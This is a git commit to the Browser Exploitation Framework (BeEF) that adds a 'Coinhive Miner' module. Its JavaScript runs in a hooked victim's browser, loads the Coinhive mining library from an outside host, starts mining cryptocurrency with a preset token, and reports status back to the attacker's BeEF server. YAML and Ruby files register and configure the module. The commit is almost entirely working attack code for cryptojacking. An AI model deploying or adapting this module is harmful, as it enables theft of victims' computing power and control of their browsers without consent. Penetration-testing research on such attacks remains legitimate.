Add Coinhive Miner module

This commit is contained in:
Brendan Coles
2017-10-13 16:02:47 +00:00
parent 16647337e7
commit c1a7cd11bd
3 changed files with 85 additions and 0 deletions

View File

@@ -0,0 +1,53 @@
//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
load_script = function(url) {
var s = document.createElement('script');
s.type = 'text/javascript';
s.src = url;
document.body.appendChild(s);
}
beef.debug("[CoinHive] Loading library...");
load_script('https://coinhive.com/lib/coinhive.min.js');
setTimeout("mine('<%= @public_token %>')", 10000);
mine = function(token) {
beef.debug("[CoinHive] Starting the miner...");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Starting the miner');
var miner = new CoinHive.Anonymous(token);
miner.start(); //CoinHive.FORCE_MULTI_TAB);
miner.on('authed', function() {
beef.debug("[CoinHive] Authenticated successfully");
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Authenticated successfully', beef.are.status_success());
})
miner.on('error', function(params) {
beef.debug("[CoinHive] The pool reported an error: " + params.error);
if (params.error === 'invalid_site_key') {
miner.stop();
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + params.error, beef.are.status_error());
}
})
miner.on('found', function() {
beef.debug("[CoinHive] Hash found");
})
miner.on('accepted', function() {
beef.debug("[CoinHive] Hash accepted by the pool");
})
setInterval(function() {
if (miner.isRunning()) {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();
beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
}
}, 1000)
}
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
coinhive_miner:
enable: true
category: "Misc"
name: "Coinhive Miner"
description: "This module starts the Coinhive JavaScript Miner."
authors: ["bcoles"]
target:
user_notify: ['ALL']

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Coinhive_miner < BeEF::Core::Command
def self.options
[{ 'name' => 'public_token',
'description' => 'Public Token',
'ui_label' => 'Public Token',
'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
'type' => 'text' }]
end
def post_execute
save({'result' => @datastore['result']})
end
end